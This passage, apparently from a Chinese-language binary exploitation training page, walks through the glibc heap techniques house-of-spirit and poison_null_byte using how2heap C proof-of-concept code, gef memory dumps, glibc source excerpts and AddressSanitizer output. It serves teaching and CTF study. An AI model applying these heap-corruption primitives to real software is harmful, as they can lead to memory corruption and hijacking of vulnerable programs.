\u3002\u7136\u540e\u5c06\u5176\u4f20\u9012\u7ed9 free \u51fd\u6570\uff0c\u8fd9\u65f6\u7a0b\u5e8f\u5c31\u4f1a\u8bef\u4ee5\u4e3a\u8fd9\u662f\u4e00\u5757\u771f\u7684 chunk\uff0c\u7136\u540e\u5c06\u5176\u91ca\u653e\u5e76\u52a0\u5165\u5230 fastbin \u4e2d\u3002
gef\u27a4 x/gx &a\n0x7fffffffdca0: 0x00007fffffffdcc0\ngef\u27a4 x/10gx &fake_chunks\n0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- fake chunk 1 [be freed]\n0x7fffffffdcc0: 0x0000000000000000 0x0000000000000000\n0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2\n0x7fffffffdce0: 0x4141414141414141 0x0000000000000000\n0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x7fffffffdcc0, size=0x20, flags=)\n
\u8fd9\u65f6\u5982\u679c\u6211\u4eec malloc \u4e00\u4e2a\u5bf9\u5e94\u5927\u5c0f\u7684 fast chunk\uff0c\u7a0b\u5e8f\u5c06\u4ece fastbins \u4e2d\u5206\u914d\u51fa\u8fd9\u5757\u88ab\u91ca\u653e\u7684 chunk\u3002
gef\u27a4 x/10gx &fake_chunks\n0x7fffffffdcb0: 0x0000000000000000 0x0000000000000020 <-- new chunk\n0x7fffffffdcc0: 0x4242424242424242 0x0000000000000000\n0x7fffffffdcd0: 0x0000000000000001 0x0000000000001234 <-- fake chunk 2\n0x7fffffffdce0: 0x4141414141414141 0x0000000000000000\n0x7fffffffdcf0: 0x0000000000400820 0x00000000004005b0\ngef\u27a4 x/gx &b\n0x7fffffffdca8: 0x00007fffffffdcc0\n
\u6240\u4ee5 house-of-spirit \u7684\u4e3b\u8981\u76ee\u7684\u662f\uff0c\u5f53\u6211\u4eec\u4f2a\u9020\u7684 fake chunk \u5185\u90e8\u5b58\u5728\u4e0d\u53ef\u63a7\u533a\u57df\u65f6\uff0c\u8fd0\u7528\u8fd9\u4e00\u6280\u672f\u53ef\u4ee5\u5c06\u8fd9\u7247\u533a\u57df\u53d8\u6210\u53ef\u63a7\u7684\u3002\u4e0a\u9762\u4e3a\u4e86\u65b9\u4fbf\u89c2\u5bdf\uff0c\u5728 fake chunk \u91cc\u586b\u5145\u4e00\u4e9b\u5b57\u6bcd\uff0c\u4f46\u5728\u73b0\u5b9e\u4e2d\u8fd9\u4e9b\u4f4d\u7f6e\u5f88\u53ef\u80fd\u662f\u4e0d\u53ef\u63a7\u7684\uff0c\u800c house-of-spirit \u4e5f\u6b63\u662f\u4ee5\u6b64\u4e3a\u76ee\u7684\u800c\u51fa\u73b0\u7684\u3002
\u8be5\u6280\u672f\u7684\u7f3a\u70b9\u4e5f\u662f\u9700\u8981\u5bf9\u6808\u5730\u5740\u8fdb\u884c\u6cc4\u6f0f\uff0c\u5426\u5219\u65e0\u6cd5\u6b63\u786e\u8986\u76d6\u9700\u8981\u91ca\u653e\u7684\u5806\u6307\u9488\uff0c\u4e14\u5728\u6784\u9020\u6570\u636e\u65f6\uff0c\u9700\u8981\u6ee1\u8db3\u5bf9\u9f50\u7684\u8981\u6c42\u7b49\u3002
\u52a0\u4e0a\u5185\u5b58\u68c0\u6d4b\u53c2\u6570\u91cd\u65b0\u7f16\u8bd1\uff0c\u53ef\u4ee5\u770b\u5230\u95ee\u9898\u6240\u5728\uff0c\u5373\u5c1d\u8bd5 free \u4e00\u5757\u4e0d\u662f\u7531 malloc \u5206\u914d\u7684 chunk\uff1a
$ gcc -fsanitize=address -g house_of_spirit.c\n$ ./a.out\nWe will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.\nThe first one: 0x7fffa61d6c00\nThe second one: 0x7fffa61d6c20\nOverwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.\nFreeing the overwritten pointer.\n=================================================================\n==5282==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x7fffa61d6c10 in thread T0\n #0 0x7fc4c3a332ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)\n #1 0x400cab in main /home/firmyy/how2heap/house_of_spirit.c:24\n #2 0x7fc4c35f182f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #3 0x4009b8 in _start (/home/firmyy/how2heap/a.out+0x4009b8)\n
house-of-spirit \u5728 libc-2.26 \u4e0b\u7684\u5229\u7528\u53ef\u4ee5\u67e5\u770b\u7ae0\u8282 4.14\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#317-linux","title":"3.1.7 Linux \u5806\u5229\u7528\uff08\u4e2d\uff09","text":"\u4e0b\u8f7d\u6587\u4ef6
"},{"location":"Training/Material/Binary%20Exploitation/#how2heap_1","title":"how2heap","text":""},{"location":"Training/Material/Binary%20Exploitation/#poison_null_byte","title":"poison_null_byte","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\nint main() {\n uint8_t *a, *b, *c, *b1, *b2, *d;\n\n a = (uint8_t*) malloc(0x10);\n int real_a_size = malloc_usable_size(a);\n fprintf(stderr, \"We allocate 0x10 bytes for 'a': %p\\n\", a);\n fprintf(stderr, \"'real' size of 'a': %#x\\n\", real_a_size);\n\n b = (uint8_t*) malloc(0x100);\n c = (uint8_t*) malloc(0x80);\n fprintf(stderr, \"b: %p\\n\", b);\n fprintf(stderr, \"c: %p\\n\", c);\n\n uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);\n *(size_t*)(b+0xf0) = 0x100;\n fprintf(stderr, \"b.size: %#lx ((0x100 + 0x10) | prev_in_use)\\n\\n\", *b_size_ptr);\n\n // deal with tcache\n // int *k[10], i;\n // for (i = 0; i < 7; i++) {\n // k[i] = malloc(0x100);\n // }\n // for (i = 0; i < 7; i++) {\n // free(k[i]);\n // }\n free(b);\n uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;\n fprintf(stderr, \"After free(b), c.prev_size: %#lx\\n\", *c_prev_size_ptr);\n\n a[real_a_size] = 0; // <--- THIS IS THE \"EXPLOITED BUG\"\n fprintf(stderr, \"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n fprintf(stderr, \"b.size: %#lx\\n\\n\", *b_size_ptr);\n\n fprintf(stderr, \"Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\\n\", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));\n b1 = malloc(0x80);\n memset(b1, 'A', 0x80);\n fprintf(stderr, \"We malloc 'b1': %p\\n\", b1);\n fprintf(stderr, \"c.prev_size: %#lx\\n\", *c_prev_size_ptr);\n fprintf(stderr, \"fake c.prev_size: %#lx\\n\\n\", *(((uint64_t*)c)-4));\n\n b2 = malloc(0x40);\n memset(b2, 'A', 0x40);\n fprintf(stderr, \"We malloc 'b2', our 'victim' chunk: %p\\n\", b2);\n\n // deal with tcache\n // for (i = 0; i < 7; i++) {\n // k[i] = malloc(0x80);\n // }\n // for (i = 0; i < 7; i++) {\n // free(k[i]);\n // }\n free(b1);\n free(c);\n fprintf(stderr, \"Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\\n\");\n\n d = malloc(0x110);\n fprintf(stderr, \"Finally, we allocate 'd', overlapping 'b2': %p\\n\\n\", d);\n\n fprintf(stderr, \"b2 content:%s\\n\", b2);\n memset(d, 'B', 0xb0);\n fprintf(stderr, \"New b2 content:%s\\n\", b2);\n}\n$ gcc -g poison_null_byte.c\n$ ./a.out\nWe allocate 0x10 bytes for 'a': 0xabb010\n'real' size of 'a': 0x18\nb: 0xabb030\nc: 0xabb140\nb.size: 0x111 ((0x100 + 0x10) | prev_in_use)\n\nAfter free(b), c.prev_size: 0x110\nWe overflow 'a' with a single null byte into the metadata of 'b'\nb.size: 0x100\n\nPass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))\nWe malloc 'b1': 0xabb030\nc.prev_size: 0x110\nfake c.prev_size: 0x70\n\nWe malloc 'b2', our 'victim' chunk: 0xabb0c0\nNow we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\nFinally, we allocate 'd', overlapping 'b2': 0xabb030\n\nb2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nNew b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n
\u8be5\u6280\u672f\u9002\u7528\u7684\u573a\u666f\u9700\u8981\u67d0\u4e2a malloc \u7684\u5185\u5b58\u533a\u57df\u5b58\u5728\u4e00\u4e2a\u5355\u5b57\u8282\u6ea2\u51fa\u6f0f\u6d1e\u3002\u901a\u8fc7\u6ea2\u51fa\u4e0b\u4e00\u4e2a chunk \u7684 size \u5b57\u6bb5\uff0c\u653b\u51fb\u8005\u80fd\u591f\u5728\u5806\u4e2d\u521b\u9020\u51fa\u91cd\u53e0\u7684\u5185\u5b58\u5757\uff0c\u4ece\u800c\u8fbe\u5230\u6539\u5199\u5176\u4ed6\u6570\u636e\u7684\u76ee\u7684\u3002\u518d\u7ed3\u5408\u5176\u4ed6\u7684\u5229\u7528\u65b9\u5f0f\uff0c\u540c\u6837\u80fd\u591f\u83b7\u5f97\u7a0b\u5e8f\u7684\u63a7\u5236\u6743\u3002
\u5bf9\u4e8e\u5355\u5b57\u8282\u6ea2\u51fa\u7684\u5229\u7528\u6709\u4e0b\u9762\u51e0\u79cd\uff1a
0x100 0x100 0x80\n|-------|-------|-------|\n| A | B | C | \u521d\u59cb\u72b6\u6001\n|-------|-------|-------|\n| A | B | C | \u91ca\u653e B\n|-------|-------|-------|\n| A | B | C | \u6ea2\u51fa B \u7684 size \u4e3a 0x180\n|-------|-------|-------|\n| A | B | C | malloc(0x180-8)\n|-------|-------|-------| C \u5757\u88ab\u8986\u76d6\n |<--\u5b9e\u9645\u5f97\u5230\u7684\u5757->|\n
0x100 0x100 0x80\n|-------|-------|-------|\n| A | B | C | \u521d\u59cb\u72b6\u6001\n|-------|-------|-------|\n| A | B | C | \u6ea2\u51fa B \u7684 size \u4e3a 0x180\n|-------|-------|-------|\n| A | B | C | \u91ca\u653e B\n|-------|-------|-------|\n| A | B | C | malloc(0x180-8)\n|-------|-------|-------| C \u5757\u88ab\u8986\u76d6\n |<--\u5b9e\u9645\u5f97\u5230\u7684\u5757->|\n
0x100 0x210 0x80\n|-------|---------------|-------|\n| A | B | C | \u521d\u59cb\u72b6\u6001\n|-------|---------------|-------|\n| A | B | C | \u91ca\u653e B\n|-------|---------------|-------|\n| A | B | C | \u6ea2\u51fa B \u7684 size \u4e3a 0x200\n|-------|---------------|-------| \u4e4b\u540e\u7684 malloc \u64cd\u4f5c\u6ca1\u6709\u66f4\u65b0 C \u7684 prev_size\n 0x100 0x80\n|-------|------|-----|--|-------|\n| A | B1 | B2 | | C | malloc(0x180-8), malloc(0x80-8)\n|-------|------|-----|--|-------|\n| A | B1 | B2 | | C | \u91ca\u653e B1\n|-------|------|-----|--|-------|\n| A | B1 | B2 | | C | \u91ca\u653e C\uff0cC \u5c06\u4e0e B1 \u5408\u5e76\n|-------|------|-----|--|-------| \n| A | B1 | B2 | | C | malloc(0x180-8)\n|-------|------|-----|--|-------| B2 \u5c06\u88ab\u8986\u76d6\n |<\u5b9e\u9645\u5f97\u5230\u7684\u5757>|\n
0x100 0x100 0x101\n|-------|-------|-------|\n| A | B | C | \u521d\u59cb\u72b6\u6001\n|-------|-------|-------|\n| A | B | C | \u91ca\u653e A\n|-------|-------|-------|\n| A | B | C | \u6ea2\u51fa B\uff0c\u8986\u76d6 C \u5757\u7684 size \u4e3a 0x200\uff0c\u5e76\u4f7f\u5176 prev_size \u4e3a 0x200\n|-------|-------|-------|\n| A | B | C | \u91ca\u653e C\n|-------|-------|-------|\n| A | B | C | C \u5c06\u4e0e A \u5408\u5e76\n|-------|-------|-------| B \u5757\u88ab\u91cd\u53e0\n|<-----\u5b9e\u9645\u5f97\u5230\u7684\u5757------>|\n
\u9996\u5148\u5206\u914d\u4e09\u4e2a chunk\uff0c\u7b2c\u4e00\u4e2a chunk \u7c7b\u578b\u65e0\u6240\u8c13\uff0c\u4f46\u540e\u4e24\u4e2a\u4e0d\u80fd\u662f fast chunk\uff0c\u56e0\u4e3a fast chunk \u5728\u91ca\u653e\u540e\u4e0d\u4f1a\u88ab\u5408\u5e76\u3002\u8fd9\u91cc chunk a \u7528\u4e8e\u5236\u9020\u5355\u5b57\u8282\u6ea2\u51fa\uff0c\u53bb\u8986\u76d6 chunk b \u7684\u7b2c\u4e00\u4e2a\u5b57\u8282\uff0cchunk c \u7684\u4f5c\u7528\u662f\u5e2e\u52a9\u4f2a\u9020 fake chunk\u3002
\u9996\u5148\u662f\u6ea2\u51fa\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u77e5\u9053\u4e00\u4e2a\u5806\u5757\u5b9e\u9645\u53ef\u7528\u7684\u5185\u5b58\u5927\u5c0f\uff08\u56e0\u4e3a\u7a7a\u95f4\u590d\u7528\uff0c\u53ef\u80fd\u4f1a\u6bd4\u5206\u914d\u65f6\u8981\u5927\u4e00\u70b9\uff09\uff0c\u7528\u4e8e\u83b7\u5f97\u8be5\u5927\u5c0f\u7684\u51fd\u6570 malloc_usable_size
\u5982\u4e0b\uff1a
/*\n ------------------------- malloc_usable_size -------------------------\n */\nstatic size_t\nmusable (void *mem)\n{\n mchunkptr p;\n if (mem != 0)\n {\n p = mem2chunk (mem);\n\n [...]\n if (chunk_is_mmapped (p))\n return chunksize (p) - 2 * SIZE_SZ;\n else if (inuse (p))\n return chunksize (p) - SIZE_SZ;\n }\n return 0;\n}\n/* check for mmap()'ed chunk */\n#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)\n/* extract p's inuse bit */\n#define inuse(p) \\\n ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)\n/* Get size, ignoring use bits */\n#define chunksize(p) ((p)->size & ~(SIZE_BITS))\n
\u6240\u4ee5 real_a_size = chunksize(a) - 0x8 == 0x18
\u3002\u53e6\u5916\u9700\u8981\u6ce8\u610f\u7684\u662f\u7a0b\u5e8f\u662f\u901a\u8fc7 next chunk \u7684 PREV_INUSE
\u6807\u5fd7\u6765\u5224\u65ad\u67d0 chunk \u662f\u5426\u88ab\u4f7f\u7528\u7684\u3002
\u4e3a\u4e86\u5728\u4fee\u6539 chunk b \u7684 size \u5b57\u6bb5\u540e\uff0c\u4f9d\u7136\u80fd\u901a\u8fc7 unlink \u7684\u68c0\u67e5\uff0c\u6211\u4eec\u9700\u8981\u4f2a\u9020\u4e00\u4e2a c.prev_size \u5b57\u6bb5\uff0c\u5b57\u6bb5\u7684\u5927\u5c0f\u662f\u5f88\u597d\u8ba1\u7b97\u7684\uff0c\u5373 0x100 == (0x111 & 0xff00)
\uff0c\u6b63\u597d\u662f NULL \u5b57\u8282\u6ea2\u51fa\u540e\u7684\u503c\u3002\u7136\u540e\u628a chunk b \u91ca\u653e\u6389\uff0cchunk b \u968f\u540e\u88ab\u653e\u5230 unsorted bin \u4e2d\uff0c\u5927\u5c0f\u662f 0x110\u3002\u6b64\u65f6\u7684\u5806\u5e03\u5c40\u5982\u4e0b\uff1a
gef\u27a4 x/42gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x0000000000000000 0x0000000000000000\n0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]\n0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603040: 0x0000000000000000 0x0000000000000000\n0x603050: 0x0000000000000000 0x0000000000000000\n0x603060: 0x0000000000000000 0x0000000000000000\n0x603070: 0x0000000000000000 0x0000000000000000\n0x603080: 0x0000000000000000 0x0000000000000000\n0x603090: 0x0000000000000000 0x0000000000000000\n0x6030a0: 0x0000000000000000 0x0000000000000000\n0x6030b0: 0x0000000000000000 0x0000000000000000\n0x6030c0: 0x0000000000000000 0x0000000000000000\n0x6030d0: 0x0000000000000000 0x0000000000000000\n0x6030e0: 0x0000000000000000 0x0000000000000000\n0x6030f0: 0x0000000000000000 0x0000000000000000\n0x603100: 0x0000000000000000 0x0000000000000000\n0x603110: 0x0000000000000000 0x0000000000000000\n0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size\n0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c\n0x603140: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603020, bk=0x603020\n \u2192 Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)\n
\u6700\u5173\u952e\u7684\u4e00\u6b65\uff0c\u901a\u8fc7\u6ea2\u51fa\u6f0f\u6d1e\u8986\u5199 chunk b \u7684\u6570\u636e\uff1a
gef\u27a4 x/42gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x0000000000000000 0x0000000000000000\n0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]\n0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603040: 0x0000000000000000 0x0000000000000000\n0x603050: 0x0000000000000000 0x0000000000000000\n0x603060: 0x0000000000000000 0x0000000000000000\n0x603070: 0x0000000000000000 0x0000000000000000\n0x603080: 0x0000000000000000 0x0000000000000000\n0x603090: 0x0000000000000000 0x0000000000000000\n0x6030a0: 0x0000000000000000 0x0000000000000000\n0x6030b0: 0x0000000000000000 0x0000000000000000\n0x6030c0: 0x0000000000000000 0x0000000000000000\n0x6030d0: 0x0000000000000000 0x0000000000000000\n0x6030e0: 0x0000000000000000 0x0000000000000000\n0x6030f0: 0x0000000000000000 0x0000000000000000\n0x603100: 0x0000000000000000 0x0000000000000000\n0x603110: 0x0000000000000000 0x0000000000000000\n0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size\n0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c\n0x603140: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603020, bk=0x603020\n \u2192 Chunk(addr=0x603030, size=0x100, flags=)\n
\u8fd9\u65f6\uff0c\u6839\u636e\u6211\u4eec\u4e0a\u4e00\u7bc7\u6587\u5b57\u4e2d\u8bb2\u5230\u7684\u8ba1\u7b97\u65b9\u6cd5\uff1a
chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100
prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100
\u53ef\u4ee5\u6210\u529f\u7ed5\u8fc7\u68c0\u67e5\u3002\u53e6\u5916 unsorted bin \u4e2d\u7684 chunk \u5927\u5c0f\u4e5f\u53d8\u6210\u4e86 0x100\u3002
\u63a5\u4e0b\u6765\u968f\u610f\u5206\u914d\u4e24\u4e2a chunk\uff0cmalloc \u4f1a\u4ece unsorted bin \u4e2d\u5212\u51fa\u5408\u9002\u5927\u5c0f\u7684\u5185\u5b58\u8fd4\u56de\u7ed9\u7528\u6237\uff1a
gef\u27a4 x/42gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x0000000000000000 0x0000000000000000\n0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b\n0x603030: 0x4141414141414141 0x4141414141414141\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x4141414141414141\n0x603060: 0x4141414141414141 0x4141414141414141\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x4141414141414141 0x4141414141414141\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk\n0x6030c0: 0x4141414141414141 0x4141414141414141\n0x6030d0: 0x4141414141414141 0x4141414141414141\n0x6030e0: 0x4141414141414141 0x4141414141414141\n0x6030f0: 0x4141414141414141 0x4141414141414141\n0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin\n0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size\n0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c\n0x603140: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603100, bk=0x603100\n \u2192 Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)\n
\u8fd9\u91cc\u6709\u4e2a\u5f88\u6709\u8da3\u7684\u4e1c\u897f\uff0c\u5206\u914d\u5806\u5757\u540e\uff0c\u53d1\u751f\u53d8\u5316\u7684\u662f fake c.prev_size\uff0c\u800c\u4e0d\u662f c.prev_size\u3002\u6240\u4ee5 chunk c \u4f9d\u7136\u8ba4\u4e3a chunk b \u7684\u5730\u65b9\u6709\u4e00\u4e2a\u5927\u5c0f\u4e3a 0x110 \u7684 free chunk\u3002\u4f46\u5176\u5b9e\u8fd9\u7247\u5185\u5b58\u5df2\u7ecf\u88ab\u5206\u914d\u7ed9\u4e86 chunk b1\u3002
\u63a5\u4e0b\u6765\u662f\u89c1\u8bc1\u5947\u8ff9\u7684\u65f6\u523b\uff0c\u6211\u4eec\u77e5\u9053\uff0c\u4e24\u4e2a\u76f8\u90bb\u7684 small chunk \u88ab\u91ca\u653e\u540e\u4f1a\u88ab\u5408\u5e76\u5728\u4e00\u8d77\u3002\u9996\u5148\u91ca\u653e chunk b1\uff0c\u4f2a\u9020\u51fa fake chunk b \u662f free chunk \u7684\u6837\u5b50\u3002\u7136\u540e\u91ca\u653e chunk c\uff0c\u8fd9\u65f6\u7a0b\u5e8f\u4f1a\u53d1\u73b0 chunk c \u7684\u524d\u4e00\u4e2a chunk \u662f\u4e00\u4e2a free chunk\uff0c\u7136\u540e\u5c31\u5c06\u5b83\u4eec\u5408\u5e76\u5728\u4e86\u4e00\u8d77\uff0c\u5e76\u4ece unsorted bin \u4e2d\u53d6\u51fa\u6765\u5408\u5e76\u8fdb\u4e86 top chunk\u3002\u53ef\u601c\u7684 chunk 2 \u4f4d\u4e8e chunk b1 \u548c chunk c \u4e4b\u95f4\uff0c\u88ab\u76f4\u63a5\u65e0\u89c6\u4e86\uff0c\u73b0\u5728 malloc \u8ba4\u4e3a\u8fd9\u6574\u5757\u533a\u57df\u90fd\u662f\u672a\u5206\u914d\u7684\uff0c\u65b0\u7684 top chunk \u6307\u9488\u5df2\u7ecf\u8bf4\u660e\u4e86\u4e00\u5207\u3002
gef\u27a4 x/42gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x0000000000000000 0x0000000000000000\n0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk\n0x603030: 0x0000000000603100 0x00007ffff7dd1b78\n0x603040: 0x4141414141414141 0x4141414141414141\n0x603050: 0x4141414141414141 0x4141414141414141\n0x603060: 0x4141414141414141 0x4141414141414141\n0x603070: 0x4141414141414141 0x4141414141414141\n0x603080: 0x4141414141414141 0x4141414141414141\n0x603090: 0x4141414141414141 0x4141414141414141\n0x6030a0: 0x4141414141414141 0x4141414141414141\n0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk\n0x6030c0: 0x4141414141414141 0x4141414141414141\n0x6030d0: 0x4141414141414141 0x4141414141414141\n0x6030e0: 0x4141414141414141 0x4141414141414141\n0x6030f0: 0x4141414141414141 0x4141414141414141\n0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin\n0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer\n0x603120: 0x0000000000000020 0x0000000000000000\n0x603130: 0x0000000000000110 0x0000000000000090\n0x603140: 0x0000000000000000 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x603100, bk=0x603100\n \u2192 Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)\n
chunk \u5408\u5e76\u7684\u8fc7\u7a0b\u5982\u4e0b\uff0c\u9996\u5148\u8be5 chunk \u4e0e\u524d\u4e00\u4e2a chunk \u5408\u5e76\uff0c\u7136\u540e\u68c0\u67e5\u4e0b\u4e00\u4e2a chunk \u662f\u5426\u4e3a top chunk\uff0c\u5982\u679c\u4e0d\u662f\uff0c\u5c06\u5408\u5e76\u540e\u7684 chunk \u653e\u56de unsorted bin \u4e2d\uff0c\u5426\u5219\uff0c\u5408\u5e76\u8fdb top chunk\uff1a
/* consolidate backward */\n if (!prev_inuse(p)) {\n prevsize = p->prev_size;\n size += prevsize;\n p = chunk_at_offset(p, -((long) prevsize));\n unlink(av, p, bck, fwd);\n }\n\n if (nextchunk != av->top) {\n /*\n Place the chunk in unsorted chunk list. Chunks are\n not placed into regular bins until after they have\n been given one chance to be used in malloc.\n */\n [...]\n }\n\n /*\n If the chunk borders the current high end of memory,\n consolidate into top\n */\n\n else {\n size += nextsize;\n set_head(p, size | PREV_INUSE);\n av->top = p;\n check_chunk(av, p);\n }\n
\u63a5\u4e0b\u6765\uff0c\u7533\u8bf7\u4e00\u5757\u5927\u7a7a\u95f4\uff0c\u5927\u5230\u53ef\u4ee5\u628a chunk b2 \u5305\u542b\u8fdb\u6765\uff0c\u8fd9\u6837 chunk b2 \u5c31\u5b8c\u5168\u88ab\u6211\u4eec\u63a7\u5236\u4e86\u3002
gef\u27a4 x/42gx a-0x10\n0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x603010: 0x0000000000000000 0x0000000000000000\n0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d\n0x603030: 0x4242424242424242 0x4242424242424242\n0x603040: 0x4242424242424242 0x4242424242424242\n0x603050: 0x4242424242424242 0x4242424242424242\n0x603060: 0x4242424242424242 0x4242424242424242\n0x603070: 0x4242424242424242 0x4242424242424242\n0x603080: 0x4242424242424242 0x4242424242424242\n0x603090: 0x4242424242424242 0x4242424242424242\n0x6030a0: 0x4242424242424242 0x4242424242424242\n0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk\n0x6030c0: 0x4242424242424242 0x4242424242424242\n0x6030d0: 0x4242424242424242 0x4242424242424242\n0x6030e0: 0x4141414141414141 0x4141414141414141\n0x6030f0: 0x4141414141414141 0x4141414141414141\n0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins\n0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer\n0x603120: 0x0000000000000020 0x0000000000000000\n0x603130: 0x0000000000000110 0x0000000000000090\n0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk\ngef\u27a4 heap bins small\n[ Small Bins for arena 'main_arena' ]\n[+] small_bins[1]: fw=0x603100, bk=0x603100\n \u2192 Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)\n
\u8fd8\u6709\u4e2a\u4e8b\u60c5\u503c\u5f97\u6ce8\u610f\uff0c\u5728\u5206\u914d chunk d \u65f6\uff0c\u7531\u4e8e\u5728 unsorted bin \u4e2d\u6ca1\u6709\u627e\u5230\u9002\u5408\u7684 chunk\uff0cmalloc \u5c31\u5c06 unsorted bin \u4e2d\u7684 chunk \u90fd\u6574\u7406\u56de\u5404\u81ea\u7684 bins \u4e2d\u4e86\uff0c\u8fd9\u91cc\u5c31\u662f small bins\u3002
\u6700\u540e\uff0c\u7ee7\u7eed\u770b libc-2.26 \u4e0a\u7684\u60c5\u51b5\uff0c\u8fd8\u662f\u4e00\u6837\u7684\uff0c\u5904\u7406\u597d tchache \u5c31\u53ef\u4ee5\u4e86\uff0c\u628a\u4e24\u79cd\u5927\u5c0f\u7684 tcache bin \u90fd\u5360\u6ee1\u3002
heap-buffer-overflow\uff0c\u4f46\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\uff0c\u52a0\u4e86\u5185\u5b58\u68c0\u6d4b\u53c2\u6570\u540e\uff0creal size \u53ea\u80fd\u662f\u6b63\u5e38\u7684 0x10 \u4e86\u3002
$ gcc -fsanitize=address -g poison_null_byte.c\n$ ./a.out\nWe allocate 0x10 bytes for 'a': 0x60200000eff0\n'real' size of 'a': 0x10\nb: 0x611000009f00\nc: 0x60c00000bf80\n=================================================================\n==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990\nREAD of size 8 at 0x611000009ef8 thread T0\n #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22\n #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)\n\n0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)\nallocated by thread T0 here:\n #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)\n #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15\n #2 0x7f47d8fe382f in __libc_start_main 